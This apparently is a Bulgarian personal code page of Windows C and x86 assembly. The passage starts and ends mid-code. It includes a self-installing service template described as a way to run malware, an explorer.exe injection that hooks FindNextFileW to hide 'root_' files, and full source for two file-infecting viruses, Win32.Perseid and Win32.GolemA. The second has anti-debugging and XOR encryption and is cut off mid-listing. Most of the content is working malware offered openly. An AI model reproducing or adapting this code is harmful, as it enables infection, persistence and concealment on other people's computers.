if(err == 0) { printf("Enumerating Directory Files: \n"); }
else { printf("you still have a lot to learn Neo"); system("PAUSE"); return 0; }

DirInfo = (PFILE_FULL_DIR_INFORMATION)(((PUCHAR)DirInfo) + (DirInfo->NextEntryOffset));

do {

DirInfo = (PFILE_FULL_DIR_INFORMATION)(((PUCHAR)DirInfo) + (DirInfo->NextEntryOffset));
PWSTR file = DirInfo->FileName;
wprintf( L"%ws\n", file);
}while(DirInfo->NextEntryOffset!=NULL);


system("PAUSE");

return 0;

}

Windows Service Template

Това е скелет на Уиндоус сервиз, мисля че ще бъде полезен на много хора :) Интересното е че съм го направил първият път като се пусне да работи като нормално .еxe и отам нататък вече ще се стартира в уиндоус като сервиз ( тествано само на Windows Xp )

#include windows.h
#include stdio.h

int ServReg();
int ServCheck();
/* Beginning of the main function */
void Execute() {

//YOUR CODE GOES HERE

}

SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;

void ServiceMain(int argc, char** argv);
void ControlHandler(DWORD request);
int main()
{
SERVICE_TABLE_ENTRY ServiceTable[2];
ServiceTable[0].lpServiceName = "winboz";
ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION)ServiceMain;

ServiceTable[1].lpServiceName = NULL;
ServiceTable[1].lpServiceProc = NULL;
// Start the control dispatcher thread for our service
StartServiceCtrlDispatcher(ServiceTable);

goto SkipService; /* first time executetion */
return 0;

SkipService:
int x = ServCheck(); /* is this first time execution ? */
if(x == 1) { ServReg(); }
Execute(); /* it will be executed from here only the first time */
}


void ServiceMain(int argc, char** argv)
{


ServiceStatus.dwServiceType = SERVICE_WIN32;
ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwServiceSpecificExitCode = 0;
ServiceStatus.dwCheckPoint = 0;
ServiceStatus.dwWaitHint = 0;

hStatus = RegisterServiceCtrlHandler(
"winboz",
(LPHANDLER_FUNCTION)ControlHandler);


// We report the running status to SCM.
ServiceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus (hStatus, &ServiceStatus);


// The worker loop of a service
while (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{

Execute(); /* here we execute the malware like service, not first time */

ServiceStatus.dwCurrentState = SERVICE_STOPPED;
ServiceStatus.dwWin32ExitCode = -1;
SetServiceStatus(hStatus, &ServiceStatus);
return;
}
return;
}



// Control handler function
void ControlHandler(DWORD request)
{

ServiceStatus.dwWin32ExitCode = 0;
ServiceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus (hStatus, &ServiceStatus);

return;
}


int ServCheck() { /* returns 1 if its first time execution */

int x = 0;
int Num = 0;
char Buffer[7],Buffer2[7]="qwerty";
HANDLE OpenHandle;

memset(Buffer,0,7);

OpenHandle = CreateFile("root_check.rot",GENERIC_READ | GENERIC_WRITE,0,
NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
ReadFile(OpenHandle,(LPVOID)Buffer,6,(DWORD*)&Num,NULL);


if(strcmp(Buffer,Buffer2)!=0) {
x = 1; /* first time execution */
Num = 0;
WriteFile(OpenHandle,Buffer2,6,(DWORD*)&Num,NULL);
}

CloseHandle(OpenHandle);

return x;
}

int ServReg() {

int success = 0;
int failure = 1;
char FilePath[MAX_PATH];

GetModuleFileName(0,FilePath,MAX_PATH);

SC_HANDLE SMH = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
/*GetModuleFileName(NULL,FilePath,MAX_PATH); */



SC_HANDLE RegHandle = CreateService(SMH,"winboz","winboz",
SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,FilePath,
NULL,NULL,NULL,NULL,NULL);


CloseServiceHandle(SMH);
CloseServiceHandle(RegHandle);

return success;
}

Hooking explorer.exe (FindNextFileW)

Това е един от най яките ми кодове :) Кода инжектира функция в explorer.exe и тази функция прихваща FindNextFileW (който се използва от explorer.exe са обикновен листинг на директорийте) и така скрива всички файлове чийто имена започват с "root_" :)

#include
#include
#include


typedef int (WINAPI *VP) (LPVOID,SIZE_T,DWORD,PDWORD);

typedef struct {
VP SetVP;
DWORD *FindFileW;
} Inject_Data;

int Inject(Inject_Data *Data);
int main()
{

Inject_Data Data;
LPVOID Mem,Prm;
HANDLE rThread;

HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 ProcessInfo;
ProcessInfo.dwSize = sizeof(PROCESSENTRY32);

Data.FindFileW = (DWORD *)GetProcAddress(GetModuleHandle("kernel32.dll"),"FindNextFileW");
Data.SetVP = (VP)GetProcAddress(GetModuleHandle("kernel32.dll"),"VirtualProtect");

while(Process32Next(handle, &ProcessInfo))
{
if(!strcmp(ProcessInfo.szExeFile, "explorer.exe"))
{
handle = OpenProcess(PROCESS_ALL_ACCESS,0,ProcessInfo.th32ProcessID);

Prm = VirtualAllocEx(handle,NULL,sizeof(Data),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(handle,Prm,&Data,sizeof(Data),NULL);

Mem = VirtualAllocEx(handle,NULL,2000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
WriteProcessMemory(handle,Mem,Inject,2000,NULL);

rThread = CreateRemoteThread(handle,NULL,0,(LPTHREAD_START_ROUTINE)Mem,Prm,0,NULL);
WaitForSingleObject(rThread, INFINITE);
CloseHandle(handle);
}
}

return 0;
}

int Inject(Inject_Data *Data) {

DWORD i,tmptr;

i = (DWORD) Data->FindFileW;

Data->SetVP((LPVOID)i,5,PAGE_EXECUTE_READWRITE,(PDWORD)&tmptr);

__asm{
call GetDelta
GetDelta:
pop edi

sub edi,offset GetDelta

lea edx,[StolenBytes+edi]
mov i,edx
}

Data->SetVP((LPVOID)i,5,PAGE_EXECUTE_READWRITE,(PDWORD)&tmptr);

i = (DWORD) Data->FindFileW;

__asm{
call GetDelta1
GetDelta1:
pop edi

sub edi,offset GetDelta1

mov eax,i
mov ecx,5
lea edx,[StolenBytes+edi]
}



__asm{
myloop:

mov bl,byte ptr[eax]
mov byte ptr[edx],bl
inc eax
inc edx
loop myloop

sub eax,5
lea edx,[Hooked+edi]

mov byte ptr[eax],0xE8

sub edx,eax
sub edx,5

inc eax
mov dword ptr[eax],edx

}

return 0;


__asm{


Hooked:

pop eax /* poping the ret address to FindNextFileW */
movd mm0,eax /*saving it for later */

pop eax /* poping the ret address to the injected process */
movd mm1,eax /* saving it for laterz */

/* saving the registers and flags */

pop eax /* saving the arguments */
movd mm2,eax
pop eax
movd mm3,eax

pushad
pushfd

movd eax,mm3 /* recovering the arguments */
push eax
movd eax,mm2
push eax

call GetDelta2
GetDelta2:

pop edi
sub edi,offset GetDelta2

movd eax,mm0
sub eax,5
mov ecx,5
lea edx,[StolenBytes+edi]

myloop1: /* recoverying the stolen bytes */

mov bl,byte ptr[edx]
mov byte ptr[eax],bl
inc eax
inc edx
loop myloop1

HideFile:

pop ebx /* saving arguments for later */
pop eax
push eax
push ebx
push eax
push ebx

movd eax,mm0 /* recovering the FindNextFileW address */
sub eax,5 /* we go the beginning of the FindNextFileW function */

call eax /* calling FindNextFileW */
test eax,eax

movd mm2,eax /* saving it for reocvery (injected process may need it)*/

pop ebx /*poping the handle */
pop eax /*poping the find file structure */

jz RecoveryAndBack

mov edx,eax
add edx,0x2C /* go to found file name */

cmp byte ptr[edx],'r'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'o'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'o'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'t'
jnz RecoveryAndBack
inc edx
inc edx
cmp byte ptr[edx],'_'
jnz RecoveryAndBack


push eax /* pushing the arguments for the next execution of FindNextFileW*/
push ebx

jmp HideFile

RecoveryAndBack:

movd eax,mm0

sub eax,5
mov byte ptr[eax],0xE8
lea edx,[Hooked+edi]
sub edx,eax
sub edx,5
inc eax
mov dword ptr[eax],edx

popfd
popad
movd eax,mm1
push eax
movd eax,mm2

ret

StolenBytes:
nop
nop
nop
nop
nop
nop
nop
nop
}
}

SLDE 0.1v

Това е прост дисасемблер който дава дължината на едно байтовите инструкций в x86 архитектура :) Отнеми доста време да разбера как да го направя и около седмица за да го направя практически :)

/* yaav */

/* SLDE 0.1v */
/* This is simple lengh disassembler engine for IA32 x86 instruction set.The code is
Operation System independent. For now it supports only the most used one byte
opcodes(without few rarely used opcodes)but i will expand it in future :)
Credits goes to Benny- and Napalm. Thanks guys :) */

#define Prefix 5
#define ModRMy 1
#define ModRMn 0
#define Imm08 8
#define Imm32 32 /*16/32 bit Imm*/
#define ModRM 3 /*Unknown Opcode*/

unsigned char Array[] = "\x67\x66\x81\x05\x11\x11\x00\x00\x11\x11"; /* bytes to dissasm */
unsigned char ModRMTable[] = {
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /*00..07*/
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 08..0F*/
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 10..17 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn, /* 18..1F */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 20..27 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 28..2F */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 30..37 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm32,Prefix,ModRMn, /* 38..3F */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 40..47 */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 48..4F */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 50..57 */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 58..5F */
ModRMn,ModRMn,ModRMy,ModRMy,Prefix,Prefix,Prefix,Prefix, /* 60..67 */
ModRMn+Imm32,ModRMy+Imm32,ModRMn+Imm08,ModRMy+Imm08,ModRMn,ModRMn,ModRMn,ModRMn, /* 68..6F */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* 70..77 */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* 78..7F */
ModRMy+Imm08,ModRMy+Imm32,ModRMy+Imm08,ModRMy+Imm08,ModRMy,ModRMy,ModRMy,ModRMy, /* 80..87 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy, /* 88..8F */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /*90..97 */
ModRMn,ModRMn,ModRM/*9A Unknown */,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* 98..9F */
ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn,ModRMn,ModRMn,ModRMn, /* A0..A7 */
ModRMn+Imm08,ModRMn+Imm32,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn, /* A8..AF */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* B0..B7 */
ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32,ModRMn+Imm32, /* B8..BF */
ModRMy+Imm08,ModRMy+Imm08,ModRM /* RET WORD */,ModRMn,ModRMy,ModRMy,ModRMy+Imm08,ModRMy+Imm32, /* C0..C7 */
ModRM /* C8 Unknown */,ModRMn,ModRM /* RET WORD */,ModRMn,ModRMn,ModRMn+Imm08,ModRMn,ModRMn, /* C8..CF */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMn+Imm08,ModRMn+Imm08,ModRMn,ModRMn, /* D0..D7 */
ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy,ModRMy, /* D8..DF */
ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08,ModRMn+Imm08, /* E0..E7 */
ModRMn+Imm32,ModRMn+Imm32,ModRM /*EA Unknown */,ModRMn+Imm08,ModRMn,ModRMn,ModRMn,ModRMn, /* E8..EF */
Prefix,ModRMn,Prefix,Prefix,ModRMn,ModRMn,ModRMy+Imm08,ModRMy+Imm32, /* F0..F7 */
ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMn,ModRMy,ModRMy /* F8..FF */
};

int main()
{

unsigned char *ptr,Mod;
ptr = Array;
int OperandSize = 4,OpcodeSize = 0,Displacement = 4;

DecodePrefixes:

if(ModRMTable[*ptr] == Prefix) {
if (*ptr == 0x66) { OpcodeSize += 1; OperandSize -= 2; } else { OpcodeSize += 1; }
ptr++;
goto DecodePrefixes;
}

OpcodeSize += 1; /* because of the opcode */

if (ModRMTable[*ptr] == Imm08+ModRMy || ModRMTable[*ptr] == Imm08 ) { OpcodeSize += 1; } /*is there a 8 bit Imm */
if (ModRMTable[*ptr] == Imm32+ModRMy || ModRMTable[*ptr] == Imm32 ) { OpcodeSize += OperandSize; } /* is there a 16 or 32 bit imm */
if (ModRMTable[*ptr] == ModRMy || ModRMTable[*ptr] == ModRMy+Imm08 || ModRMTable[*ptr] == ModRMy+Imm32) { /* is there a ModR/M Byte */
OpcodeSize += 1; ptr++; /*read the ModR/M Byte */ goto DecodeMod; }
else { printf ("The Opcode Size Is: %d\n",OpcodeSize); return 0; }

/*Decode ModR/M Byte */
DecodeMod:
Mod = *ptr;
if((Mod >= 0x00 && Mod <= 0x3F) || (Mod >= 0xC0 && Mod <= 0xFF)) { Displacement -= 4; }
if(Mod >= 0x40 && Mod <= 0x7F) { Displacement -= 3; }
OpcodeSize += Displacement;

if((Mod%0x10 == 4) || (Mod%0x10 == 0x0C)) { OpcodeSize += 1;} /* does it have SIB ? */
if(Mod <= 0x3D) { if((Mod%0x10 == 0x05) || (Mod%0x10 == 0x0D)){ OpcodeSize += 4; } }/* is it direct addresation? */


printf ("The Opcode Size Is: %d\n",OpcodeSize);

return 0;
}

Win32.Preseid

Това е едно мое творение вирус което заразява всички файлове в директорията но само при условие че имат достатачно сбоводно място в секцията с кода за да запише себеси там :) Написах го само за 2-3 дена и го кръстих Perseid защото точно в деня когато го завърших прокрай земята минаваше голям поток от падащи звезди... наречени Perseid :)

; BlindWolf / Hack 3D
;
;I made this virii just for education purpouse and just to learn someting
;Credits goes to fAMINE, i learnet many things from his sources.
;This is simple Win32 Code cave infector.Main executable should have system
;attributes and writable code section.Use CRC instead of API names, keep API addresses
;on the stack.Infect only one executable in the current directoy per exectuion.
;Size of the virii is 460 bytes.I still havent added payload.Its no really optimized but it works fine
;for education purpouse :) .


.686p
.mmx
.MODEL flat,stdcall
OPTION CASEMAP:NONE
Include windows.inc
include kernel32.inc
includelib kernel32.lib
assume fs:FLAT

.code
db 0FFh
Beginning label near

FileName db "*.exe",0

realstart:

call getDelta ;Get the delta
getDelta:
pop ebp
sub ebp,offset getDelta
;Entry Point
mov esi,dword ptr[EntryPoint+ebp]
mov dword ptr[GoToOEP+ebp+1],esi
pop esi
and esi,0FFFF0000h

call GetKernel

mov edx,7h
push 0BD01EEDEh ;CRC for FlushViewOfFile
push 53F2D79Bh ;CRC for MapViewOfFileA
push 1EF99B0Dh ;CRC for CreateFileMappingA
push 02BD833FBh ;CRC for CreateFileA
push 0F2290C25h ;CRC for SetFileAttributesA
push 0A38B216Eh ;CRC for FindNextFileA
push 0903ebb2eh ;CRC for FindFirstFileA

GetOneMoreApi:

pop ebx
push edx
call GetApis
pop edx
mov dword ptr[esp+4*6],ecx
dec edx
jnz GetOneMoreApi

;ESP-13C = WIN32_FIND_DATA

pop ecx ;Poping FindFirstFile
sub esp,13Ch
push esp
lea eax,[FileName+ebp]
push eax
call ecx ;call FindFirstFileA
mov esi,eax ;save the handle
test byte ptr[esp],(FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_DIRECTORY)
jz Continue

FindOneMore:
mov edi,dword ptr[esp+13Ch] ;get FindNextFile address
subloop:
push esp
push esi
call edi ;calling FindNextFileA
test al,al
jz BackToEP
test byte ptr[esp],(FILE_ATTRIBUTE_SYSTEM + FILE_ATTRIBUTE_DIRECTORY)
jnz subloop

Continue:
add esp,13Ch
pop edi ;poping FindNextFile address (clean the stack)
pop eax
sub esp,13Ch
lea ebx,[esp+2Ch]
push FILE_ATTRIBUTE_SYSTEM
push ebx
call eax ;call SetFileAttributes

xor edi,edi ;EDI will be zero

add esp,13Ch
pop eax ;pop the CreateFileA address
push edi
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push edi
push edi
push GENERIC_ALL
push ebx
call eax ;call Create FileA

pop ebx ;pop CreateFileMappingA address
push edi
push edi
push edi
push PAGE_READWRITE
push edi
push eax
call ebx ;call CreateFileMappingA


pop edx ;pop MapViewOfFile address
push edi
push edi
push edi
push FILE_MAP_ALL_ACCESS
push eax
call edx ;call MapViewOfFile

xor ecx,ecx
mov edi,eax

add eax,dword ptr[eax+3Ch]
mov edx,dword ptr[eax+28h] ;get EntryPoint
add edx,dword ptr[eax+34h] ;add imagebase
mov [EntryPoint+ebp],edx
mov dword ptr[eax+11Ch],0E0000020h ;change .text section properities to writable

xor ebx,ebx
add edi,dword ptr[eax+54h] ;SizeOfHeaders
dec edi
TryToWrite:
inc edi
inc ecx
cmp ecx,TheEnd - Beginning
je Write
cmp dword ptr[edi],0
je TryToWrite
add ebx,ecx
cmp ebx,dword ptr[eax+108h]
jge Finish
xor ecx,ecx
jmp TryToWrite

Write:
sub edi,ecx
push edi
;calculate the New EP
push eax
sub edi,dword ptr[eax+54h]
and eax,0FFFFFF00h
sub edi,eax ;maping address
add edi,6h ;cuz of the *.exe and magic jump
pop eax
add edi,dword ptr[eax+104h] ;add section virtual size
mov dword ptr[eax+28h],edi ;WriteNewEp
pop edi
lea esi,[ebp+Beginning]
WriteLoop:
lodsb
stosb
loopd WriteLoop
sub eax,0C3h
pop ecx ;poping FlushViewOfFile address
push 0
push eax
call ecx
Finish:
nop
BackToEP:
cmp byte ptr[Beginning-1+ebp],0FFh
je Droper
GoToOEP:
push 00001111
ret
EntryPoint dd 00000000
GetKernel proc ;This procedure returns image base of the kernel32.dll (ESI ) and address of kernel32 export table (EDI)
tryagain:
cmp word ptr[esi],'ZM'
jnz tryitman

mov edi,dword ptr[esi+3Ch] ;magic jump
mov edi,dword ptr[esi+edi+78h] ;address of export table
add edi,esi ;normalize offset

Ret
tryitman:
sub esi,1000h
jmp tryagain
GetKernel EndP

GetApis proc ;This procedure takes 4 arguments 1: EAX = 0 , 2:ESI = Imagebase , 3:EDI = export table address , 4:EBX == CRC for the name of the API
push edi
push esi
mov ecx,[edi+18h]
mov edx,[edi+20h]
add edx,esi
push ecx
push esi
push edi
mov edi,esi
mov esi,[edx]
add esi,edi
lol:
xor edi,edi
loop1:
lodsb
mov ecx,eax
add edi,eax
rol edi,cl
test eax,eax
jne loop1
cmp edi,ebx
je found
dec dword ptr[esp+08h]
jne lol
found:
pop ebx
pop eax
pop ecx
mov edx,[ebx+18h]
mov edi,[ebx+24h]
add edi,eax
sub edx,ecx
shl edx,1
add edi,edx
movzx edx,word ptr[edi]
mov ebx,[ebx+1ch]
add ebx,eax
shl edx,2
add ebx,edx
xor ecx,ecx
add ecx,[ebx]
add ecx,eax
xor eax,eax
pop esi
pop edi
Rets
GetApis EndP ;This procedure return ECX = address of the desired API
TheEnd label near
Droper:
push 0
call ExitProcess
end realstart

Първият ми вирус Win32.GolemA

Радостен съм да представя първият ми вирус GolemA. Кръстих го така защото според мене е много голям и тромав :Д

; BlindWolf / F7F 
;This is my first virii, nothing special just Appender.... infect all files in the directory and all sub-directorys.
;Uses CRC instead of API names and keep API addresses in MMX registers.
;Use PEB to check if debugger present, and if debugger detected EIP cannot access memory :P.  
;Use Xor encryption to encrypt the strings, the key is unique for every infected file.  
.686p
.mmx
.MODEL flat,stdcall
OPTION CASEMAP:NONE
Include windows.inc
assume fs:FLAT
.code
mark dw 0F7F0h
mylabel label near
xorkey db ?
dllname db "user32.dll",0
payload db "File Infected By F7F/Win32.GolemA!",0
encryption label near
FindData WIN32_FIND_DATA
FileInformation BY_HANDLE_FILE_INFORMATION
FileHandle HANDLE ?
FileType db "*.exe",0
ImageBase dd ?
EntryPoint dd ?
NewEP dd ?
BytesWritten dd ?
NumberOfSections dw ?
FileSize dd ?
AddressOfFileMap dd ?
VirtualSize dd ?
VirtualAddress dd ?
OpenFileHandle dd ?
SizeOfRawData dd ?
RawOffset dd ?
LastSectionOff dd ?
beforeep label near
start:
push ebp
mov ebp,esp
pop eax
xor eax,eax  

jmp realstart ;jump to the body of the virus 

   

GetKernel proc ;This procedure returns image base of the kernel32.dll (ESI ) and address of kernel32 export table (EDI)
tryagain:
cmp word ptr[esi],'ZM'
jnz tryitman
push esi
add esi,dword ptr[esi+3ch]
add esi,78h
mov edi,dword ptr[esi]
pop esi
add edi,esi
 Ret
 tryitman:
 sub esi,1000h
 jmp tryagain
GetKernel EndP

GetApis proc ;This procedure takes 4 arguments 1: EAX = 0 , 2:ESI = Imagebase , 3:EDI = export table address , 4:EBX == CRC for the name of the API
mov ecx,[edi+18h]
mov edx,[edi+20h]
add edx,esi
push ecx
push esi
push edi
mov edi,esi
mov esi,[edx]
add esi,edi
lol:
xor edi,edi
loop1:
lodsb
mov ecx,eax
add edi,eax
rol edi,cl
test eax,eax
jne loop1
cmp edi,ebx
je found
dec dword ptr[esp+08h]
jne lol
found:
pop ebx
pop eax
pop ecx
mov edx,[ebx+18h]
mov edi,[ebx+24h]
add edi,eax
sub edx,ecx
shl edx,1
add edi,edx
movzx edx,word ptr[edi]
mov ebx,[ebx+1ch]
add ebx,eax
shl edx,2
add ebx,edx
xor ecx,ecx
add ecx,[ebx]
add ecx,eax
xor eax,eax
 Ret
GetApis EndP ;This procedure return ECX = address of the desired API


realstart:
call getDelta ;Get the delta 
getDelta:
pop ebp
sub ebp,offset getDelta
call CheckForDebugger 
   
lea eax,[mylabel+ebp]
cmp word ptr[eax-2],0F7F0h  
jz readytoexe ;Is it dropper or infected file ?
;int 3

lea ebx,[ebp+encryption]
dec ebx
lea eax,[ebp+xorkey]
mov cl,[ebp+xorkey]
decryptmore:
inc eax
xor byte ptr[eax],cl
cmp eax,ebx ;decrypt the strings
jnz decryptmore

jmp preparetoexe
readytoexe:  

pop esi
and esi,0FFFF0000h
call GetKernel 
push edi 
push esi
xor eax,eax
mov ebx,1EF99B0Dh ;CRC for CreateFileMappingA
call GetApis
movd mm4,ecx ;mm4 = CreateFileMappingA
pop esi
pop edi
mov ebx,0BD01EEDEh
push edi
push esi
xor eax,eax
call GetApis
movd mm7,ecx
pop esi
pop edi
mov ebx,13B13649h 
push edi
push esi
xor eax,eax
call GetApis
movd mm6,ecx
pop esi
pop edi
mov ebx,53F2D79Bh ;CRC for MapViewOfFileA
push edi
push esi
xor eax,eax
call GetApis
movd mm5,ecx ;mm5 = MapViewOfFileA
pop esi
pop edi
push edi ;EDI = export table address
push esi ;ESI = kernel32 imagebase
mov ebx,02BD833FBh ;CRC for CreateFileA
xor eax,eax
call GetApis
movd mm3,ecx ;mm3 = CreateFileA
pop esi
pop edi
push edi
push esi
mov ebx,0A38B216Eh ;CRC for FindNextFileA
xor eax,eax
call GetApis 
movd mm2,ecx ;mm2 = FindNextFileA
pop esi
pop edi
push edi
push esi
xor eax,eax
mov ebx,0903ebb2eh ;CRC for FindFirstFileA
call GetApis
lea ebx,[ebp+FindData]
lea edx,[ebp+FileType]
push ebx
push edx
call ecx ;calling FindFirstFileA
mov [ebp+FileHandle],eax ;Save the file handle
mov ebx,0ECF95325h ;CRC for GetFileAttributesA
pop esi
pop edi
xor eax,eax
push edi
push esi
call GetApis
movd mm0,ecx ;mm0 = GetFileAttributesA
xor eax,eax
pop esi
pop edi
push edi
push esi
mov ebx,0F2290C25h ;CRC for SetFileAttributesA
call GetApis
movd mm1,ecx ;mm1 = SetFileAttributesA 
check:
movd ecx,mm0
lea ebx,[FindData+2Ch+ebp] ;FindData+2Ch+EBP = file name returned by FindFirstFileA
push ebx
call ecx ;calling GetFileAttributesA  
cmp eax,04h ;check if file attributes are system (0x04)
jne StartInfection
OneMoreInfection:
movd ecx,mm2
lea ebx,[FindData+ebp]
push ebx
mov eax,[ebp+FileHandle]
push eax
call ecx ;calling FindNextFileA
test eax,eax
jz PayLoad
jmp check
StartInfection:
movd ecx,mm1 
lea edx,[FindData+2Ch+ebp]
mov ebx,04h ;later may move this furthur
push ebx
push edx
call ecx ;calling SetFileAttributesA to set file attributes to 0x04 (system file)
movd ecx,mm3
lea ebx,[FindData+2Ch+ebp]
push 0h
push 4h
push 3h
push 0h
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push ebx
call ecx ;calling CreateFileA
mov [OpenFileHandle+ebp],eax
push eax
push 0h
push eax
movd ecx,mm6
call ecx ;calling GetFileSizeA
add eax,other - mylabel
mov [ebp+FileSize],eax
mov edx,eax
pop eax
lea ebx,[FindData+2Ch+ebp]
push ebx
push edx
push 0h
push PAGE_READWRITE
push 0h
push eax
movd ecx,mm4
call ecx ;Calling CreateFileMappingA
mov edx,[FileSize+ebp]
push edx
push 0h
push 0h
push FILE_MAP_ALL_ACCESS
push eax
movd ecx,mm5
call ecx ;calling MapViewOfFile
mov [AddressOfFileMap+ebp],eax
push eax
add eax,3Ch ;get the magic jump
mov eax,dword ptr[eax] ;get the magic jump
pop ecx
add eax,ecx
add eax,6h 
xor ecx,ecx
mov cx,word ptr[eax] ;get NumberOfSections
mov [NumberOfSections+ebp],cx
add eax,22h
mov ecx,dword ptr[eax] ;get address of entry point
mov [ebp+EntryPoint],ecx
add eax,0Ch
mov ecx,dword ptr[eax] ;get the imagebase
mov [ImageBase+ebp],ecx
add eax,1Ch
mov [ebp+OpenFileHandle],eax ;offset of sizeOfiMAGE
sub eax,50h ;back to value of magic jump
push eax
add eax,0F8h ;go to the end of PE header 
xor ecx,ecx
mov cx,[NumberOfSections+ebp]
dec cx
mov ebx,28h
imul ecx,ebx ;get beginning of last PE section
add eax,ecx ;normalize the offset
mov [ebp+LastSectionOff],eax
add eax,0Ch ;skip section name and virtual size to get virtual address
mov ecx,dword ptr[eax]
mov [VirtualAddress+ebp],ecx
sub eax,4
mov ecx,dword ptr[eax]
mov [ebp+VirtualSize],ecx
add dword ptr[eax],other - mylabel ;write virtualsize
mov [ebp+SizeOfRawData],eax ;virtual size offset
add eax,0Ch
mov ecx,dword ptr[eax]
mov [ebp+RawOffset],ecx ;raw offset

jmp justMissThis

modifyRawSize:

sub eax,ecx
xchg eax,ecx
mov eax,[ebp+SizeOfRawData] ;offset of virtual size
sub dword ptr [eax],other - mylabel
mov edx,[ebp+OpenFileHandle] ;sizeofimage
sub dword ptr [edx],ecx ;modify size of image 
sub dword ptr[edx],other - mylabel
push eax ;offset of virtual size
mov eax,dword ptr[eax]
xor edx,edx
mov ecx,200h
div ecx
inc eax
mul ecx

pop ebx
add ebx,8
mov ecx,dword ptr[ebx]
push eax
sub eax,ecx ;new raw size - old raw size
sub eax,other - mylabel
xchg eax,ecx
pop eax
sub eax,ecx
mov [ebp+SizeOfRawData],eax ;number of garbage bytess
mov dword ptr[ebx],eax ;write SizeOfRawData
jmp afterModifyRawSize

CheckForDebugger proc
mov esi,808h 
add ebx,2h
cmp byte ptr[ebx],0h
jnz Debugged
add ebx,66h
cmp byte ptr[ebx],0h
jnz Debugged
sub ebx,50h
mov ebx,dword ptr[ebx]
add ebx,10h
cmp dword ptr[ebx],eax
jz NotDebugged
Debugged:
xor esi,777h
push esi
Ret
NotDebugged:
 Ret
CheckForDebugger EndP
justMissThis:
mov eax,[ebp+AddressOfFileMap]
add eax,[FileSize+ebp]
sub eax,other - mylabel
xor esi,esi
jmp backonebyte+1h
backonebyte:
dec eax
inc esi
cmp dword ptr[eax],00h
je backonebyte

;int 3
push eax
xor ecx,ecx
mov cl,al
sub eax,ecx ;get random key for the xor encryption
mov cl,byte ptr[eax]
mov [ebp+xorkey],cl
pop eax

inc eax
sub esi,2h
push eax
sub eax,[ebp+AddressOfFileMap]
sub eax,[ebp+RawOffset]
add eax,[ebp+VirtualAddress]
add eax,[ebp+ImageBase]
add eax,beforeep - mylabel
mov [ebp+NewEP],eax
pop eax
push eax
lea edx,[ebp+other]
lea ecx,[ebp+mylabel]
write:
mov bl,byte ptr[ecx]
mov byte ptr[eax],bl
inc ecx
inc eax
cmp ecx,edx
jnz write

;int 3
push eax
push ebx
sub eax,other - mylabel
mov ebx,eax
